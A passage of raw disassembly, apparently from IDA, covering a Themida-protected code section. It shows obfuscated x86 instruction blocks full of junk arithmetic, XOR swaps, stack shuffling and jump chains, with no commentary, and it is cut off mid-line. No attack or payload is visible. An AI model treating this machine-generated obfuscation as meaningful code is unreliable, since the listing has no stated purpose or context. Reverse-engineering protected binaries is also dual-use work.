; --------------------------------------------------------------------------- mov [esp], ecx push edi push edx loc_5AD93D: ; CODE XREF: Themida_:005A0AC7j shl edx, 3 jmp loc_5A2CFC ; --------------------------------------------------------------------------- loc_5AD945: ; CODE XREF: Themida_:005A8916j add esp, 4 or ebp, 4F17ACDh not ebp push eax mov eax, 0FA0E801Eh sub ebp, eax mov eax, [esp] jmp loc_599954 ; --------------------------------------------------------------------------- loc_5AD960: ; CODE XREF: Themida_:005A6D07j push ecx jmp loc_5A9968 ; --------------------------------------------------------------------------- loc_5AD966: ; CODE XREF: Themida_:005AF236j xor edi, [esp] pop esp jmp loc_5A0744 ; --------------------------------------------------------------------------- loc_5AD96F: ; CODE XREF: Themida_:005AA416j jmp loc_5A4F41 ; --------------------------------------------------------------------------- loc_5AD974: ; CODE XREF: Themida_:005AA98Cj and esi, 10EC2250h jno loc_5ABD98 not esi not esi jmp loc_5A0925 ; --------------------------------------------------------------------------- pop ecx loc_5AD98A: ; CODE XREF: Themida_:005A9508j sub esp, 4 mov [esp], eax mov eax, 45DD0A63h jmp loc_5AC8BC ; --------------------------------------------------------------------------- loc_5AD99D: ; CODE XREF: Themida_:005A5A9Dj sub edx, 10451200h jmp loc_5A4D39 ; --------------------------------------------------------------------------- loc_5AD9A8: ; CODE XREF: Themida_:005A1DD3j add ecx, edx sub ecx, 309772F3h push edx mov edx, 0 add edx, ecx jmp loc_59C37F ; --------------------------------------------------------------------------- loc_5AD9BD: ; CODE XREF: Themida_:0059ED55j add ecx, edx jmp loc_59EC83 ; --------------------------------------------------------------------------- loc_5AD9C4: ; CODE XREF: Themida_:005A0654j add ebx, 1 add ebx, 87F87BD1h jmp loc_5A8C1F ; --------------------------------------------------------------------------- loc_5AD9D5: ; CODE XREF: Themida_:005AD6D3j pop edx add eax, edi jmp loc_5A0E67 ; --------------------------------------------------------------------------- loc_5AD9DD: ; CODE XREF: Themida_:005A4DC6j xor edi, esi jmp loc_5ABA27 ; --------------------------------------------------------------------------- loc_5AD9E4: ; CODE XREF: Themida_:005A0748j mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AD9EC: ; CODE XREF: Themida_:005A6737j sub ebp, 57B96C82h jmp loc_5A5D5F ; --------------------------------------------------------------------------- loc_5AD9F7: ; CODE XREF: Themida_:005A3844j sub edi, 6F62CDCh add edi, eax add edi, 6F62CDCh mov eax, [esp] add esp, 4 dec edi add edi, 49AEBFFh or ebx, edi pop edi sub ebx, 5FDB136Ch sub [edi+24h], ebx jmp loc_5AAFCE ; --------------------------------------------------------------------------- loc_5ADA23: ; CODE XREF: Themida_:005A682Aj mov eax, ecx jmp loc_59F73C ; --------------------------------------------------------------------------- loc_5ADA2A: ; CODE XREF: Themida_:0059F5EDj mov bl, ch pop ecx push 35CCh jmp loc_59EA4C ; --------------------------------------------------------------------------- loc_5ADA37: ; CODE XREF: Themida_:005A54E5j add ebx, 4 xchg ebx, [esp] pop esp xor eax, ecx xor ecx, eax xor eax, ecx push 74A2h jmp loc_59DC83 ; --------------------------------------------------------------------------- loc_5ADA51: ; CODE XREF: Themida_:0059A6BCj ; Themida_:005AD5FAj add ecx, esi pop esi sub ecx, 61022087h push dword ptr [esp] pop ebx push eax mov eax, esp push ebx jmp loc_5AA014 ; --------------------------------------------------------------------------- loc_5ADA67: ; CODE XREF: Themida_:005A0810j sub bl, 41h jmp loc_59C2AD ; --------------------------------------------------------------------------- loc_5ADA6F: ; CODE XREF: Themida_:005A8C21j push dword ptr [esp] pop ebx jmp loc_5AE082 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_5A71CE ; --------------------------------------------------------------------------- loc_5ADA88: ; CODE XREF: Themida_:0059C5D7j push esi mov esi, 12390258h jmp loc_5A132C ; --------------------------------------------------------------------------- loc_5ADA93: ; CODE XREF: Themida_:005A27A2j mov [esp], cx push edx jmp loc_5A6357 ; --------------------------------------------------------------------------- loc_5ADA9D: ; CODE XREF: Themida_:0059E172j pop eax sub dword ptr [esp+4], 7A7D7A3Fh add dword ptr [esp+4], 6A2E5B75h add [esp+4], ebx push ecx mov ecx, 6A2E5B75h sub [esp+8], ecx pop ecx push ebp mov ebp, 7A7D7A3Fh add [esp+8], ebp pop ebp jmp loc_5A12D1 ; --------------------------------------------------------------------------- loc_5ADACD: ; CODE XREF: Themida_:005ADC58j pop edx sub eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59F1F0 ; --------------------------------------------------------------------------- loc_5ADADF: ; CODE XREF: Themida_:005AB9ABj add esi, eax sub esi, 2C477FDAh mov eax, [esp] add esp, 4 push 220Ah mov [esp], ecx mov ecx, 2 add esi, ecx pop ecx push 31AEh mov [esp], esi push dword ptr [esp+4] jmp loc_5AB704 ; --------------------------------------------------------------------------- loc_5ADB0E: ; CODE XREF: Themida_:005A5B7Aj mov [esp], ebp jmp loc_5A5A3C ; --------------------------------------------------------------------------- loc_5ADB16: ; CODE XREF: Themida_:005A4A01j mov al, cl push ecx mov cl, al mov bh, cl pop ecx jmp loc_5AB741 ; --------------------------------------------------------------------------- loc_5ADB23: ; CODE XREF: Themida_:005A74DBj mov esi, 7E1C2E7Fh push eax mov eax, 414B3D5Ah or eax, 95954EBh add eax, 25B8907Dh jmp loc_5AA491 ; --------------------------------------------------------------------------- loc_5ADB3D: ; CODE XREF: Themida_:0059E580j push edi push dword ptr [esp+4] push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] pop esp pop dword ptr [esp] jmp loc_5A0688 ; --------------------------------------------------------------------------- loc_5ADB64: ; CODE XREF: Themida_:005A9734j ; Themida_:005AD0ACj mov ebx, ecx pop ecx jmp loc_59DF00 ; --------------------------------------------------------------------------- loc_5ADB6C: ; CODE XREF: Themida_:005AC2B0j push 0C14h mov [esp], esi mov esi, 2 jmp loc_5A8633 ; --------------------------------------------------------------------------- loc_5ADB7E: ; CODE XREF: Themida_:loc_59A5E8j or al, 44h jnb loc_59910E add al, 8 jmp loc_5AD6D8 ; --------------------------------------------------------------------------- mov edi, [esp] loc_5ADB90: ; CODE XREF: Themida_:0059FD3Ej mov esi, 0B14D0579h xor ebp, esi mov esi, [esp] jmp loc_5A6BC0 ; --------------------------------------------------------------------------- loc_5ADB9F: ; CODE XREF: Themida_:005ABD01j mov edx, 78005B2Ch not edx jmp loc_5A91A1 ; --------------------------------------------------------------------------- loc_5ADBAB: ; CODE XREF: Themida_:005A475Ej mov [esp], edi push 3907h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 42E949E8h jmp loc_5AACD9 ; --------------------------------------------------------------------------- loc_5ADBD2: ; CODE XREF: Themida_:005AD770j add ebx, 27954C3Eh jmp loc_5AF1EA ; --------------------------------------------------------------------------- loc_5ADBDD: ; CODE XREF: Themida_:0059A7BAj ; Themida_:loc_59D4FEj ... sub eax, esi pop esi push 6A73h jmp loc_5AD6C3 ; --------------------------------------------------------------------------- loc_5ADBEA: ; CODE XREF: Themida_:005A05B5j add edi, 1B748BEFh sub edi, 4E284FD3h not edi not edi jmp loc_5A1406 ; --------------------------------------------------------------------------- loc_5ADBFF: ; CODE XREF: Themida_:005ADF25j push ecx jmp loc_5A4463 ; --------------------------------------------------------------------------- loc_5ADC05: ; CODE XREF: Themida_:005A826Ej push 1B9Fh mov [esp], esi jmp loc_5A512D ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_59ED0F ; --------------------------------------------------------------------------- loc_5ADC20: ; CODE XREF: Themida_:005A6E94j shl al, 8 jmp loc_59F42A ; --------------------------------------------------------------------------- loc_5ADC28: ; CODE XREF: Themida_:005A5CABj add eax, esi jmp loc_5AC16F ; --------------------------------------------------------------------------- loc_5ADC2F: ; CODE XREF: Themida_:0059A079j push esp pop edi jmp loc_5ACA6B ; --------------------------------------------------------------------------- mov cx, [esp] push 4D7Dh mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A87E7 ; --------------------------------------------------------------------------- loc_5ADC57: ; CODE XREF: Themida_:005A0222j pop ebp jmp loc_5ADACD ; --------------------------------------------------------------------------- loc_5ADC5D: ; CODE XREF: Themida_:005A49F0j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp pop dword ptr [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADC74: ; CODE XREF: Themida_:loc_59CF0Bj ; Themida_:005A8A71j add ch, 2Fh jmp loc_59ED68 ; --------------------------------------------------------------------------- loc_5ADC7C: ; CODE XREF: Themida_:005AF365j mov al, [esp] add esp, 2 shl al, 6 jmp loc_5A4694 ; --------------------------------------------------------------------------- loc_5ADC8A: ; CODE XREF: Themida_:0059B80Cj pop ebp sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_5ABFCB ; --------------------------------------------------------------------------- loc_5ADC9C: ; CODE XREF: Themida_:005AD30Bj shr esi, 8 jmp loc_5AD492 ; --------------------------------------------------------------------------- loc_5ADCA4: ; CODE XREF: Themida_:0059AB4Bj mov [esp], ebp push 2103h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebp push 6DF6h jmp loc_5A201D ; --------------------------------------------------------------------------- loc_5ADCBF: ; CODE XREF: Themida_:0059E38Aj xor [esp], ebx xor ebx, [esp] xor [esp], ebx jmp loc_5A477A ; --------------------------------------------------------------------------- loc_5ADCCD: ; CODE XREF: Themida_:0059C12Ej sub ebp, edx pop edx mov ebx, ebp pop ebp jmp loc_5AC7D8 ; --------------------------------------------------------------------------- loc_5ADCD8: ; CODE XREF: Themida_:005A38E2j mov [esp], eax push ecx mov ch, bl mov ah, ch jmp loc_5AC3C8 ; --------------------------------------------------------------------------- loc_5ADCE5: ; CODE XREF: Themida_:005A1219j sub bl, cl mov ecx, [esp] add esp, 4 pop ecx push 19E7h mov [esp], eax mov ah, 0EAh sub bl, 0CDh jmp loc_5A185C ; --------------------------------------------------------------------------- loc_5ADD00: ; CODE XREF: Themida_:0059FA28j pop ebx jmp loc_5ACFD9 ; --------------------------------------------------------------------------- loc_5ADD06: ; CODE XREF: Themida_:005AA36Cj add edx, 4 jmp loc_59B850 ; --------------------------------------------------------------------------- loc_5ADD11: ; CODE XREF: Themida_:005A5834j sub al, 0FDh mov bx, [esp] add esp, 2 push edi mov edi, esp jmp loc_5A60B2 ; --------------------------------------------------------------------------- loc_5ADD25: ; CODE XREF: Themida_:005A3621j ; Themida_:005AEE69j pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADD37: ; CODE XREF: Themida_:005ACC1Dj xchg ebp, esi xor esi, 32E26BD2h or esi, 10D86634h push eax mov eax, 270A6C93h or esi, eax mov eax, [esp] jmp loc_5A37BF ; --------------------------------------------------------------------------- loc_5ADD55: ; CODE XREF: Themida_:005AA9B1j sub ecx, edx jmp loc_5AD5DA ; --------------------------------------------------------------------------- loc_5ADD5C: ; CODE XREF: Themida_:005A6270j sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5A5CA0 ; --------------------------------------------------------------------------- loc_5ADD6C: ; CODE XREF: Themida_:005A4835j push ebx push 6753h mov [esp], ecx mov ecx, 486D4833h jmp loc_5A2655 ; --------------------------------------------------------------------------- loc_5ADD7F: ; CODE XREF: Themida_:005A78BEj shl edx, 5 jnz loc_5A81CE add edx, 2BD43C69h mov ah, bh mov bh, bh loc_5ADD92: ; CODE XREF: Themida_:005ADFE0j push ebp jmp loc_5A54DD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_59F52C ; --------------------------------------------------------------------------- loc_5ADDA1: ; CODE XREF: Themida_:0059B752j add ax, di pop edi push 6DFCh mov [esp], esi mov si, 307Fh add si, 4F66h sub ax, si pop esi sub ax, 7E50h pop edx push 0C31h mov [esp], ecx jmp loc_5ABCC6 ; --------------------------------------------------------------------------- loc_5ADDCC: ; CODE XREF: Themida_:0059BCA3j push esi mov esi, 5C830F0h sub esi, 5C830ECh add ebx, esi pop esi push ebp mov ebp, 0FDD23D2h dec ebp jmp loc_5A6194 ; --------------------------------------------------------------------------- loc_5ADDE7: ; CODE XREF: Themida_:005AA7AEj mov edi, 268365B5h xor ebx, edi jmp loc_5AD244 ; --------------------------------------------------------------------------- loc_5ADDF3: ; CODE XREF: Themida_:005A27C3j mov ecx, 5BCB57A3h jmp loc_5A5BC1 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADE0C: ; CODE XREF: Themida_:0059DC26j mov eax, 7B7A0997h jmp loc_5A6470 ; --------------------------------------------------------------------------- loc_5ADE16: ; CODE XREF: Themida_:005AD2C3j push edi jmp loc_59DCEF ; --------------------------------------------------------------------------- loc_5ADE1C: ; CODE XREF: Themida_:0059F7A8j bts [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADE27: ; CODE XREF: Themida_:00599199j ; Themida_:005A5983j sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push 54083658h push dword ptr [esp] mov esi, [esp] push eax mov eax, esp add eax, 4 push edi mov edi, 862EDBh jmp loc_5A58CF ; --------------------------------------------------------------------------- loc_5ADE52: ; CODE XREF: Themida_:0059C891j mov eax, [esp] push edx mov edx, esp push eax mov eax, 4 jmp loc_5A85DD ; --------------------------------------------------------------------------- loc_5ADE63: ; CODE XREF: Themida_:0059D5B3j pop dword ptr [esp] jmp loc_5A7395 ; --------------------------------------------------------------------------- loc_5ADE6B: ; CODE XREF: Themida_:005AB13Fj mov ebp, 125158D4h dec ebp add ebp, 651B3189h not ebp or ebp, 6632DCDh shl ebp, 3 jmp loc_5A74B9 ; --------------------------------------------------------------------------- loc_5ADE87: ; CODE XREF: Themida_:005AE7AFj mov [esp], eax push ebx mov ebx, 2C827485h or ebx, 28ED271Eh not ebx or ebx, 507A6805h jnp loc_5A1120 shr ebx, 4 jnz loc_5A8C06 jmp loc_59DEE2 ; --------------------------------------------------------------------------- pop ebp push 7A31h mov [esp], ecx push ebp loc_5ADEBC: ; CODE XREF: Themida_:005A272Ej mov ecx, 4174C06h add ecx, 16494228h jl loc_5A5D5F and ecx, 151F1E61h js loc_599A30 add ecx, 25A052AFh jb loc_599993 or ecx, 4B6E6129h jg loc_5983FB or ecx, 6C77500Bh jmp loc_59A965 ; --------------------------------------------------------------------------- loc_5ADEFC: ; CODE XREF: Themida_:005A40C8j mov [esp], edi mov edi, 7F912A4Dh neg edi sub edi, 6AA564E4h add ebx, edi mov edi, [esp] push edx mov edx, esp jmp loc_59BCCE ; --------------------------------------------------------------------------- loc_5ADF19: ; CODE XREF: Themida_:0059C797j ; Themida_:005A52D4j xor ecx, edx xor edx, ecx xor ecx, edx xchg ebx, edx not ebx xchg ebx, edx jmp loc_5ADBFF ; --------------------------------------------------------------------------- loc_5ADF2A: ; CODE XREF: Themida_:005A15EEj add al, 1Bh mov edx, [esp] add esp, 4 add al, 0CEh sub al, dl sub al, 0CEh push ecx mov cl, 72h sub al, cl pop ecx push ecx push ax mov al, 2 mov cl, al pop ax push edx mov dl, 0C2h sub dl, 0A1h jmp loc_5A8077 ; --------------------------------------------------------------------------- loc_5ADF52: ; CODE XREF: Themida_:005ACC3Ej xor edx, 8B21CDFFh push ebp mov ebp, edx push esi mov esi, ebp mov eax, esi pop esi push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] jmp loc_5AD3E7 ; --------------------------------------------------------------------------- loc_5ADF70: ; CODE XREF: Themida_:005A5CE4j pop esi sub ecx, 3419449Dh sub ecx, 23196CB5h sub ecx, edi add ecx, 23196CB5h jmp loc_5A0E43 ; --------------------------------------------------------------------------- loc_5ADF8A: ; CODE XREF: Themida_:loc_5AE597j xor ebx, 58616B55h jmp loc_5A59A4 ; --------------------------------------------------------------------------- loc_5ADF95: ; CODE XREF: Themida_:005A74ACj add esp, 4 shr edx, 3 shr edx, 5 add edx, 0BE6C717Ah add ecx, edx mov edx, [esp] add esp, 4 and eax, ecx pop ecx shr eax, 0Ch xor eax, ecx xor eax, esi xor esi, eax xor eax, esi xor esi, ebx xor ebx, esi xor esi, ebx xor ebx, ecx xor ecx, ebx jmp loc_5A9FC9 ; --------------------------------------------------------------------------- loc_5ADFCC: ; CODE XREF: Themida_:005A8449j pop edx xor edx, 209165C9h sub edx, 5DA67AECh jmp loc_599A80 ; --------------------------------------------------------------------------- loc_5ADFDE: ; CODE XREF: Themida_:005A2703j push esp pop ebx jmp loc_5ADD92 ; --------------------------------------------------------------------------- loc_5ADFE5: ; CODE XREF: Themida_:0059B328j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ADFEA: ; CODE XREF: Themida_:00598FDFj mov edi, 4 mov ebp, edi pop edi add eax, 0F9149BFh add eax, 3A752C9Ah add eax, ebp sub eax, 3A752C9Ah jmp loc_59FE2B ; --------------------------------------------------------------------------- loc_5AE008: ; CODE XREF: Themida_:005A8C99j push ebx mov ebx, 12D9F087h add eax, ebx pop ebx jmp loc_5A80CF ; --------------------------------------------------------------------------- loc_5AE016: ; CODE XREF: Themida_:0059F4E7j xor ecx, [esp] pop esp add ebp, 261A5F41h push 425Ah mov [esp], ebx mov ebx, esp push ebp mov ebp, 8947F7Ch and ebp, 3F891131h add ebp, 2A43308Ch sub ebp, 66CD2761h sub ebp, 0CBF61A57h add ebx, ebp pop ebp sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A1B22 ; --------------------------------------------------------------------------- loc_5AE057: ; CODE XREF: Themida_:0059CF1Dj ; Themida_:005AE927j mov [esp], ebp mov ebp, 672C0C02h jmp loc_59F00E ; --------------------------------------------------------------------------- loc_5AE064: ; CODE XREF: Themida_:0059EA92j add cl, al jmp loc_59E01C ; --------------------------------------------------------------------------- loc_5AE06B: ; CODE XREF: Themida_:005A7531j add esp, 4 add [esp+4], ebx pop ebx push eax push ecx mov ecx, 55E97D92h jmp loc_5A866B ; --------------------------------------------------------------------------- loc_5AE082: ; CODE XREF: Themida_:005ADA73j add esp, 4 jmp loc_5A4702 ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 28326E84h not ebx sub ebx, 0A93C6B5Dh jmp loc_5A494E ; --------------------------------------------------------------------------- loc_5AE09E: ; CODE XREF: Themida_:005AECCAj push eax push edx mov edx, 29377812h mov eax, edx pop edx not eax or eax, 309E022Bh jp loc_59EB36 shr eax, 2 jmp loc_5AAC2D ; --------------------------------------------------------------------------- loc_5AE0BD: ; CODE XREF: Themida_:0059D665j pop dword ptr [esp] jmp loc_5A9B3B ; --------------------------------------------------------------------------- loc_5AE0C5: ; CODE XREF: Themida_:005A9BCEj push edx jmp loc_5AE469 ; --------------------------------------------------------------------------- loc_5AE0CB: ; CODE XREF: Themida_:005AB6DBj sub eax, 151EA888h sub ecx, eax pop eax jmp loc_5ACB7C ; --------------------------------------------------------------------------- loc_5AE0D8: ; CODE XREF: Themida_:005ABFC6j push edi mov edi, 33985F51h sub ebp, edi pop edi pop eax push ebp jmp loc_5A0391 ; --------------------------------------------------------------------------- loc_5AE0E8: ; CODE XREF: Themida_:005ABE49j inc edi sub edi, 7CED75E3h add esi, edi pop edi sub ecx, esi pop esi add ebp, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 xchg ebp, [esp] pop esp pop ebx xchg eax, esi jmp loc_59D359 ; --------------------------------------------------------------------------- loc_5AE10E: ; CODE XREF: Themida_:0059C5FDj sub esp, 4 mov [esp], eax mov eax, 49302DFAh jmp loc_5A5B1A ; --------------------------------------------------------------------------- loc_5AE121: ; CODE XREF: Themida_:005A0F4Aj push edi push esp jmp loc_5A8B05 ; --------------------------------------------------------------------------- loc_5AE128: ; CODE XREF: Themida_:005A7EC3j jmp loc_59AA59 ; --------------------------------------------------------------------------- loc_5AE12D: ; CODE XREF: Themida_:005AEA10j shr ebx, 3 jmp loc_5A994C ; --------------------------------------------------------------------------- loc_5AE135: ; CODE XREF: Themida_:005A67CFj push 76F8h mov [esp], esi mov esi, 32043A1Dh push ebx mov ebx, 3DD30B02h jmp loc_5A86A6 ; --------------------------------------------------------------------------- loc_5AE14D: ; CODE XREF: Themida_:0059E3F0j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp jmp loc_5ACE5D ; --------------------------------------------------------------------------- loc_5AE15C: ; CODE XREF: Themida_:0059E296j mov eax, [esp] jmp loc_5A6787 ; --------------------------------------------------------------------------- loc_5AE164: ; CODE XREF: Themida_:005A7871j inc ebx jno loc_59CF81 add ebx, 583F9CBFh jmp loc_59E454 ; --------------------------------------------------------------------------- mov cl, 0D5h loc_5AE179: ; CODE XREF: Themida_:0059A3DCj mov edi, [esp] add esp, 4 push ebp mov ebp, 4 jmp loc_5A6993 ; --------------------------------------------------------------------------- loc_5AE18A: ; CODE XREF: Themida_:005A5EDEj jmp loc_5AB09B ; --------------------------------------------------------------------------- loc_5AE18F: ; CODE XREF: Themida_:005AAAA2j mov esp, [esp] mov [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE19A: ; CODE XREF: Themida_:005A9011j push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr ecx, 6 push 74ABh mov [esp], edx push 6199h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_5A1D04 ; --------------------------------------------------------------------------- loc_5AE1D5: ; CODE XREF: Themida_:005A3E89j push 4 pop ecx jmp loc_5AEAF5 ; --------------------------------------------------------------------------- loc_5AE1E0: ; CODE XREF: Themida_:005A9218j jmp loc_59DCB2 ; --------------------------------------------------------------------------- loc_5AE1E5: ; CODE XREF: Themida_:005A2306j mov [esp], edx mov edx, 6F12211Fh add edi, edx pop edx push edx jmp loc_5A177D ; --------------------------------------------------------------------------- loc_5AE1F6: ; CODE XREF: Themida_:005ACD97j mov edi, 0EEBA22DDh jmp loc_59ECFC ; --------------------------------------------------------------------------- loc_5AE200: ; CODE XREF: Themida_:0059D63Bj mov ebp, [esp] push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 add eax, ecx jmp loc_5A13E8 ; --------------------------------------------------------------------------- loc_5AE218: ; CODE XREF: Themida_:005A37BAj mov [esp], edx jmp loc_5A77D1 ; --------------------------------------------------------------------------- loc_5AE220: ; CODE XREF: Themida_:0059C40Aj ; Themida_:0059CA61j shl esi, 2 jns loc_5A9253 push 1768h mov [esp], ecx jmp loc_5AF040 ; --------------------------------------------------------------------------- pop esi dec edx loc_5AE238: ; CODE XREF: Themida_:005AEF06j mov [esp], ebp push dword ptr [esp+4] jmp loc_5AB1BA ; --------------------------------------------------------------------------- loc_5AE244: ; CODE XREF: Themida_:005AAE39j pop esp sub esp, 2 mov [esp], cx mov cl, 6Fh push edx push ebx mov bh, 27h shl bh, 1 jmp loc_5AE370 ; --------------------------------------------------------------------------- loc_5AE25C: ; CODE XREF: Themida_:0059B4E3j mov [esp], edx mov edx, 417E1182h or ecx, edx pop edx sub ecx, 16DB5201h sub ebx, ecx jmp loc_5A0D27 ; --------------------------------------------------------------------------- loc_5AE274: ; CODE XREF: Themida_:005A9B0Aj pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 44495209h neg ebp push esi mov esi, 0FFFFFFFFh jmp loc_598965 ; --------------------------------------------------------------------------- loc_5AE295: ; CODE XREF: Themida_:0059FFC3j dec edi push esi mov esi, 0EB3FEC42h add edi, esi pop esi sub ebp, edi pop edi pop eax add ebp, 2 jmp loc_5A081B ; --------------------------------------------------------------------------- loc_5AE2AE: ; CODE XREF: Themida_:0059EC76j jg loc_599407 jmp loc_59C082 ; --------------------------------------------------------------------------- loc_5AE2B9: ; CODE XREF: Themida_:005A8BA5j mov [esp], ebp mov ebp, 4 add edx, 753F1F96h sub edx, ebp sub edx, 753F1F96h mov ebp, [esp] jmp loc_5A4302 ; --------------------------------------------------------------------------- loc_5AE2D7: ; CODE XREF: Themida_:005A2DC0j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5AB7DE ; --------------------------------------------------------------------------- loc_5AE2ED: ; CODE XREF: Themida_:005AC0D2j add ebp, 4 xchg ebp, [esp] pop esp push 44C0h mov [esp], ebx push eax mov eax, 54CA26BFh jmp loc_5A0DB8 ; --------------------------------------------------------------------------- db 0FFh dd 0ADE93C77h db 90h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE30F: ; CODE XREF: Themida_:00599402j push ebp mov ebp, 54696268h jmp loc_59DA57 ; --------------------------------------------------------------------------- loc_5AE31A: ; CODE XREF: Themida_:005ACF7Bj mov ecx, esp push ebp mov ebp, 627717F2h jmp loc_5ACDF0 ; --------------------------------------------------------------------------- loc_5AE327: ; CODE XREF: Themida_:0059E096j ; Themida_:005ABB55j xor ebx, edi pop edi and ecx, ebx pop ebx add ecx, 0FFFFFDB0h jmp loc_5A224C ; --------------------------------------------------------------------------- loc_5AE338: ; CODE XREF: Themida_:005A7944j add esp, 4 add al, bh pop ebx sub al, bl jmp loc_59F17A ; --------------------------------------------------------------------------- loc_5AE348: ; CODE XREF: Themida_:005AC660j push edx mov edx, 1C744BA4h jmp loc_5A4315 ; --------------------------------------------------------------------------- loc_5AE353: ; CODE XREF: Themida_:0059E2C7j pop dword ptr [esp] mov esp, [esp] bswap eax push 4F6Ch mov [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE368: ; CODE XREF: Themida_:005AA334j add esp, 4 jmp loc_59E5D7 ; --------------------------------------------------------------------------- loc_5AE370: ; CODE XREF: Themida_:005AE257j js loc_59BA76 sub bh, 3Ch push ecx mov ch, bh mov dl, ch pop ecx pop ebx sub dl, 0C2h add dl, 24h add dl, 1 add dl, 0B2h shl dl, 7 xor dl, 0D6h jmp loc_5A9557 ; --------------------------------------------------------------------------- loc_5AE397: ; CODE XREF: Themida_:005A8C01j xor ebx, 0AB6AB3BBh add ecx, ebx pop ebx add ecx, ebp push edi mov edi, 48883BFFh sub edi, 3AB7846h add edi, 0F5205C66h sub ecx, edi pop edi pop ebp push ebp mov ebp, 5A753DF2h shl ebp, 2 push edx push ecx mov ecx, 4DC570E8h mov edx, ecx jmp loc_59DD9A ; --------------------------------------------------------------------------- loc_5AE3CF: ; CODE XREF: Themida_:005A591Cj add ebx, 75AF7CAEh and ebx, 64F91E7Ch add ebx, 288F60F0h sub esp, 4 mov [esp], esi push edx mov edx, 0B627CB7h add edx, 110275DAh not edx and edx, 3C260183h ja loc_59A310 inc edx jo loc_5AE610 jmp loc_59D1D8 ; --------------------------------------------------------------------------- loc_5AE410: ; CODE XREF: Themida_:005997BBj push ecx not dword ptr [esp] pop ecx or ecx, 4D5F7C55h add ecx, 92F24E0Fh sub ebp, ecx push dword ptr [esp] pop ecx push edi mov edi, esp add edi, 4 jmp loc_5A1608 ; --------------------------------------------------------------------------- loc_5AE435: ; CODE XREF: Themida_:005A18EFj mov [esp], ebx jmp loc_59DBB6 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE445: ; CODE XREF: Themida_:005A655Cj mov [esp], dx mov dl, 34h xor bl, dl mov dx, [esp] add esp, 2 push ebx not byte ptr [esp] jmp loc_59B606 ; --------------------------------------------------------------------------- loc_5AE460: ; CODE XREF: Themida_:0059D9DCj pop dword ptr [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE469: ; CODE XREF: Themida_:005AE0C6j push 56362FD7h pop edx push esi mov esi, 37136617h jmp loc_59C8FB ; --------------------------------------------------------------------------- loc_5AE47A: ; CODE XREF: Themida_:005A66F8j sub esp, 4 mov [esp], esi push 5A8630E6h push dword ptr [esp] mov esi, [esp] add esp, 4 push edx push esp jmp loc_59CB7E ; --------------------------------------------------------------------------- loc_5AE495: ; CODE XREF: Themida_:005AE8BEj push dword ptr [esp] pop eax add esp, 4 pop ecx jmp loc_5A1970 ; --------------------------------------------------------------------------- loc_5AE4A5: ; CODE XREF: Themida_:005AA7CDj neg edx add edx, 2F52674Fh jmp loc_59FDEF ; --------------------------------------------------------------------------- loc_5AE4B2: ; CODE XREF: Themida_:0059B5A3j add edx, 4 push edi mov edi, 4 add edx, edi mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] push 6B7Ah mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_59FE6C ; --------------------------------------------------------------------------- loc_5AE4DE: ; CODE XREF: Themida_:005A3A21j shr dh, 6 js loc_5A7920 jmp loc_5A44FD ; --------------------------------------------------------------------------- loc_5AE4EC: ; CODE XREF: Themida_:005AB207j push ebx push dword ptr [esp+4] mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp jmp loc_5A08B6 ; --------------------------------------------------------------------------- loc_5AE510: ; CODE XREF: Themida_:0059E9D0j or ecx, 5DBE036Ch inc ecx add ecx, 0A8C1187Ah sub esi, ecx jmp loc_5A4A22 ; --------------------------------------------------------------------------- loc_5AE524: ; CODE XREF: Themida_:005AA604j add edx, ebx pop ebx add edx, 4 jmp loc_5A215C ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_5A670F ; --------------------------------------------------------------------------- loc_5AE538: ; CODE XREF: Themida_:005AA838j add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] pop esi add esp, 4 jmp loc_59FCCA ; --------------------------------------------------------------------------- loc_5AE559: ; CODE XREF: 